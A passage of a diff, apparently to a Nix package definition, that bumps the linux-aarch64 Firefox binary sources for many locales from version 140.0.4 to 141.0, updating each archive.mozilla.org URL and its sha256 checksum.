-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gd/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gd/firefox-141.0.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "bba853484a42bd14c86a647f1132e75f237f2ccb618b4f0e40a5183a8408c589";
+      sha256 = "23424cde2fec3e4f4ee7056d4ae9411e3504ae6790038f8937781d5506f05f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gl/firefox-141.0.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "bc333bfbd4c5a7f219d1f3f29418cca7472ffe1a7e01bd40a5eab8a33e8d492d";
+      sha256 = "e0b6304083036a44632e57820569861bfb0bc45a2517325f47787ba586ac2a2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gn/firefox-141.0.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "5c43fc318ebe73f0b9ee79ba24379f45c423d377ae35634839000080f69c2fb9";
+      sha256 = "60ef090b64b53111d27307cd6ddfc3b7e7d28d77dd0fd4ff9e2c392828194117";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gu-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/gu-IN/firefox-141.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "d3ed9b516e2c020a3db99373ada5ebf47053954e6ddaa05b82d2235b0493d1ad";
+      sha256 = "9d5c5c5ec51bf0055c05652ee5754322bc7c3ca6727344fa42e8defdbc58caa5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/he/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/he/firefox-141.0.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "a7766f63fd84e10f60cb9320e42b5a385436513addf5467415fed92a1ba98c4e";
+      sha256 = "777574acff8dfc12dce742fe8e1947c43201cadb96a6cd85619268f70c1589e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hi-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hi-IN/firefox-141.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "21c799ade147e12f177ae9c63d0434ca845de3a75546017ae4bd7fe33984bff9";
+      sha256 = "273d2c477e798bf96f14b7720c223c2f9f61f40d356182e2d4b5146843bc0376";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hr/firefox-141.0.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "ef0ce05465362d699d95535a2c8af8e7a041dc959391d2a1e032cc043bf38d0f";
+      sha256 = "05ae7b41c1913f9e2b64a38768d9a988a3f35efe67e01c970b6233070d0c041c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hsb/firefox-141.0.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "ace01688b2523329e5070a34672262c309fb27a96d7b9e33cedaeaac1d721581";
+      sha256 = "67b28c680a579044dc1b1487001f51478f9012b9754d7d5b6791deb9072ea842";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hu/firefox-141.0.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "9e3147d01af92d36cd21b25a6461cc2c2c4ab7db5fdbebba1882fcdb37e98793";
+      sha256 = "de6f76e788bbd5049794629763e460e061a335bc3dbcd5329bd344015108167e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hy-AM/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/hy-AM/firefox-141.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "a51c68b72e7e26c24fe5131a3e8a1da32e3062d274b3aebf736013a4ce663647";
+      sha256 = "709cdd09f4fa19a98b36738c32c1ecad082487cf8c9abf5d8945a77c26a1de5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ia/firefox-141.0.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "eaa04b180552fe5dc8eaa69147c6c844486086eb98dddb4c4bc5b0438b699ada";
+      sha256 = "e1b74859a9da3940206bcfc44504f708e59473b7bd668ea88c8a690c84965892";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/id/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/id/firefox-141.0.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "c8b724dc675ad34581a13492fa5fcdcb9e2033aa25a91cacec8f89d47d7ef802";
+      sha256 = "12a4a59dd5225243de14aa58ec2a278b23e9a2eabe6102778657e1876f261a8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/is/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/is/firefox-141.0.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "654311b10195eed0fc13e7d0c3b347a8034fa8d075522f1c2a86020e3c5c9b7e";
+      sha256 = "f9b74c20b2ba276cbfc7d0bb8d687b119f430116dd5917d342e1f0515df3e2a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/it/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/it/firefox-141.0.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "ab14882c6ef15e534c416e5c7127aaaef2104885a933e71f1e26d97ba91eb836";
+      sha256 = "444282751c33332ae45ffcc7fc9f5bf1bba0ea42f834b704c66a76f298843457";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ja/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ja/firefox-141.0.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "76d761b485afaead9fd2eedcf7baba0a28b1889ae5c07937dc3f78403d3254c0";
+      sha256 = "103fbef467c480ca579b1bac124adaedd214f9ae63d20ae36ad406c03c371c71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ka/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ka/firefox-141.0.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "50cd042ed4e96900b12b2fd3e4c2948bae13f5b1ee9301f70fca772bacb5412a";
+      sha256 = "21f219c9989f64a6462ba3edc0cbc392e02acf4b31c85b87f82a281f81c10ec2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kab/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kab/firefox-141.0.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "277e8b2991d305221986ff6d7cfa104dd59918816fb90e4dc17f3933729efefc";
+      sha256 = "48da5c3531a1b875e350dd7c332379287da22c8dd4f2e012bf5b63ebe11d8018";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kk/firefox-141.0.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "7adc1aaa752c9e6c7e249ea931d4a23dd7d3423eba3c2993fdf05f6ec63f7c48";
+      sha256 = "451c87eecdad201bc4112ea92c984fd5f8b6bbd84f10786daf1338b5e3411a2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/km/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/km/firefox-141.0.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "ed43eb8ebcdfa4edc5607a7a0ed6c4e063945f089e59b356cf9c724aaf252f16";
+      sha256 = "52dc55cce033fbb0d06acb16b93d52f0499b48c71b108a5423ac323d049efc9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/kn/firefox-141.0.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "5f43e929dcb0b02deb0fc496d1111df5401fc9ec4ee80eceef87b2f3be1f3dd9";
+      sha256 = "cd9201fd5ed1031c87ff99be8d42d4a7dad035d4e3f2a3fff8359f6559862a8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ko/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ko/firefox-141.0.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "7dc6e17515344497ab7ab7f6970ad019f19d1c3db716af10ab9db46b92fa335b";
+      sha256 = "97881c312b41c968aae7f24906769c5bf46a6b0df4eb9754c5309859ec0b32a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lij/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lij/firefox-141.0.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "6b18ed5bb0c37dc64120c2ac5cc15048215fca442da0da7929b09621ce2ed331";
+      sha256 = "dc18c5c1ec14dbf84992ec863e43bb22a8ced37f7f031b18eb9cda6070bca0cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lt/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lt/firefox-141.0.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "b6cf020bd8d89bc8d0e9bcfc733b975b46a0619cdbb4a4b50c695683959b8a45";
+      sha256 = "f556299a884b1f6ced7fe8291315a02c5e3fcd7d6c95ec8c5cbd42cd096d5474";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lv/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/lv/firefox-141.0.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "9fe291e0cf50e1b62539f8a0660942140a3264c18424d5e9071019646065384d";
+      sha256 = "9c9db9540dfd41a1c09388ea066d6bdc8f2ceb249d3cc2d67d2eda66081c1796";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/mk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/mk/firefox-141.0.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "85f06e3c8ab85bb1474bc1e925641802723c5cd17beddce394da9abaa2c4ddb4";
+      sha256 = "65e7ed03bfc18b8068bd11465525818c0110a0ccbb19f6bd913792e3567545e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/mr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/mr/firefox-141.0.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "b235154077ae5db0e322792f2fd486971586b5bbc900c37f452e094ca47ec640";
+      sha256 = "4870e64c8033aa47221e8dcde220b48d34226565ec4a89d1b6e8fb19483683d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ms/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ms/firefox-141.0.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "14bff36ef998f00a29532795e69cd6f658341c37dc15e7c23081b6ce494382f0";
+      sha256 = "5a36a76a877670ac2e31b8806cd74ab4b1260fbc80f6cb4d1a6dfc0d4787c2a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/my/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/my/firefox-141.0.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "a7001bd1cbb7284ee6385e3d3d615aa350adfb774daa3da914d5b934cd539b3a";
+      sha256 = "9b48dfc72214f7ae92c6baf11e8653e235d1d044afbc1deb61229df0bc929373";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nb-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nb-NO/firefox-141.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "70a06afb3e9cdac1014335f85fe4dcd720a6777369a935e02d70024975448db3";
+      sha256 = "4a94fb1645a4426aba91b9f3243a7653e9c4b0b8aea0db0aa107c405d3454a2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ne-NP/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ne-NP/firefox-141.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "a589a80bbc4246ebfe862722ecd954911afe0f531ce88c29214f022681d8ccdc";
+      sha256 = "66a62cf30847590c173f73908d8262c140a3d4a92ce8de7b56c45f3c750b4c33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nl/firefox-141.0.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "31b8bcea4411543c6b9dd3861fcccbf952a995fa7b5c49b0155e1cf48d50a6a7";
+      sha256 = "625b876f0d002b497daca34fe5740157c06fb6552f61a58ec713e4cae0bb9b18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nn-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/nn-NO/firefox-141.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "5b686f327debb1575111d0144a7e37f64569b6c404e4e432394ca340c900803d";
+      sha256 = "7142f9c8dce02936b1f8460ba42ced04363aeed066a3081e1502792892bb0028";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/oc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/oc/firefox-141.0.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "2b8c20c0aea4aa731b7571cbd0411fc28675daf0df7e3e178db00c01f8339287";
+      sha256 = "50eb0eba55545937e9fd83a9b4f40995fc9311d597cc633c70735d3210f4b11b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pa-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pa-IN/firefox-141.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "997a9c2fbc7618b6b94fb5094c6d7a5ffac8d0df30b44aa55c01e7034a412ad9";
+      sha256 = "8bbae42ed6f75c950c1cc7cc72f28b2470ce4eb99171d02656f5bbf64a32bc78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pl/firefox-141.0.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "d15f725123515636ca8efc4fada37c777d33703652fa7fd78d424e074e5886fa";
+      sha256 = "144a945fa99cf9c358d7df739d1c16747b7356eb7d40d5c794917d9b7d27a7fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pt-BR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pt-BR/firefox-141.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "ea6a30fa75d99b625e323155c6e6510dda6870e92c8945ee6ebe72ef80b95719";
+      sha256 = "4c75238108672c509254fdfbc0d5d8dd0e939d787f7cd7f7e67e69ca76d40749";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pt-PT/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/pt-PT/firefox-141.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "101b96f5e866cbaae618d78c64c0756be0c1ddfbc0e34c33f26336fa59728845";
+      sha256 = "ee93c94af5433167f9eaed15514d6862ec57dab3704a42f03f5784493d047a61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/rm/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/rm/firefox-141.0.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "2cfd9e972f3ec29085b8fe745e92fbbab515a10abf9b7995b81ea5371d984b78";
+      sha256 = "b378e624740b18eefede481bacaf8c3e7340a4c6b30d3cc0465f032a22b9d8eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ro/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ro/firefox-141.0.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "033d5537fc46f12e98dc691c17a2b76ba10829f496e6f5bd177ccb4da9bd00ea";
+      sha256 = "7b1d6ccac6e6cfeade8d9b94295716c5cdeeb8811ec21521a9992089ce6fd699";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ru/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ru/firefox-141.0.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "c0e77abeb8b3c49007283fa7455005fdeb38ed5fd4a11822eab62e8ab38d26c4";
+      sha256 = "6eb563dd5372bf11580d84e07294ffcb6ef6da08679d92e4e9a4655763fc11c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sat/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sat/firefox-141.0.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "7e31342df60c7d789da8e0d3bc2afbbb5dd088d7ff9be49306318eeaf4f4cff4";
+      sha256 = "1e7f38f728f878f7e8064e604ebb33a587cacf83bc046b1cd6dff468cbdf4d77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sc/firefox-141.0.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "5cfe8e8b0b86848feb7711c0360c8b991e9d9b3dcb39676d10a3d40c9fc1b4a4";
+      sha256 = "fc06636b3b17dcbdd89f06bbb94abaad20ba9ecdb52d7b48c55c11ef6d780130";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sco/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sco/firefox-141.0.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "edf5dcce85c6f38d866a61acf0c0b9ef6cee8062c9ac5b856d70cc079eb2cfa2";
+      sha256 = "6c49150cf7b2e95079e305916287435ad5d0520a8a26d807a215d4e7fc6dedc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/si/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/si/firefox-141.0.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "ef5016a94479fc9914b722de0f686163d9ff0b6343c0a825877c1c095db872bc";
+      sha256 = "1ca1300faf467654e63ed4902595ce2bbe8176cb009bb00f7aac892a99b5bf37";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sk/firefox-141.0.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "5dc50a12c14297db1f9f59e44870be390265693353d69fa1b31465cc0e08f79d";
+      sha256 = "96ba7baf72739a60db646c95bab3c32e57a286865bc5ec7dbf9e11222fcc14f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/skr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/skr/firefox-141.0.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "f7b3dbd0386981995bb07a055b66eaa8d54b002a3562dd19497314cbda20e68f";
+      sha256 = "d8e8ab156723fff8daad21695249173b80f3353c8f4e451bf42e0ae578ae4066";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sl/firefox-141.0.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "a5fafb0df39613ef5c1670a36368fb73c66c4f8b853205669da9eec305a1ff02";
+      sha256 = "1901216a8f6ad147335e3994a75d2cd655528d225f002b9d0066c21ea257e831";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/son/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/son/firefox-141.0.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "612dc6eca9650fd96e0abae35efae626753928d575b5e420292854c164f5aa51";
+      sha256 = "5a0e224cdf6b3fd0d030229faa7f138f14b458529ea79db37fe05edcd80e09ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sq/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sq/firefox-141.0.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "921e13d746eb17a421d97672273c886d924f773234694405f00395a65210aac0";
+      sha256 = "964e62bfb2534cfbb6a78154d83849609a621f638be8d0e101ee1fc3689e8573";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sr/firefox-141.0.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "1025c259512e6aab613fb1543439b49101fc84b38e0124c8727f7a2007d62159";
+      sha256 = "e61e83203bc23f8ffb3a81789f44d32124a0fce9b56017c0b4e73b0fc138d0a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sv-SE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/sv-SE/firefox-141.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "5cb05c6739b26128fb1f0dbbd18204a85da05c59f05ea093e20651eab09128de";
+      sha256 = "991893a78693d32fc610be86fdbfa6be893137ee8c5836a3b751101894cdd2b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/szl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/szl/firefox-141.0.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "ab55e0ea9ea39073330acbf8774b8e407a356ed97747eb7050692308a141bad2";
+      sha256 = "ab3c71fb49cf41b221c1ae4b7817c9223542a0ff9b9606079206fd8df1d3dd5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ta/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ta/firefox-141.0.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "a9a084d97c19ebce2aa3939d4773c7afac89780c45da9654c316f0606aa1e55a";
+      sha256 = "28b984a1efd9eb98fdf6ac01c547b928106adffb00b93ab838d899e51bbfb404";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/te/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/te/firefox-141.0.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "d07ba7015244294d981cdf9f7bda120c76739eed7e8dbc698231bef19ab05c09";
+      sha256 = "e86a3d29a9f52c6b54213c579968fbd28d11699764dea3338f174130826fde90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tg/firefox-141.0.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "ab89563040fa7561896cbac272e268067c893f60134f29e07524b9582d7f7f34";
+      sha256 = "496973dd1255f3fb6d89c342213cfd77f199c55b94e449d4d556e781493f738a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/th/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/th/firefox-141.0.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "b9b73ce1f8d6526663810b6fa21e3a0b57cd8e9558aeee50b499e7ea9ac3f0d2";
+      sha256 = "71df4ca388050037082e29492cc3ea89d4127ee0e60a89a546bb87c28cfc3f9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tl/firefox-141.0.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "a39396b454763f477019a8f537718a91e04ac7b699b1241e7e2e586e6d98f236";
+      sha256 = "9ff6874dc43318281956e7a279995eee55a7bc41c0e40e116d8ae86054a5afdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/tr/firefox-141.0.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "3b3cb24381bf0e3bbec6381624dfe892904446775624510f5b8f42f88407d7c7";
+      sha256 = "1253a25c4fe5cbb7d161145067b9db60b860863594a8c46da1a4b1781c671585";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/trs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/trs/firefox-141.0.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "9fc80b0e716820b338a16a8a7c06cdb3ae0766ee7c0b38a563fa67d8f00fa1d3";
+      sha256 = "e2264b05111fbecf3777c9f26a8b7220f250abaaed83cae13961e03bd8962c33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/uk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/uk/firefox-141.0.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
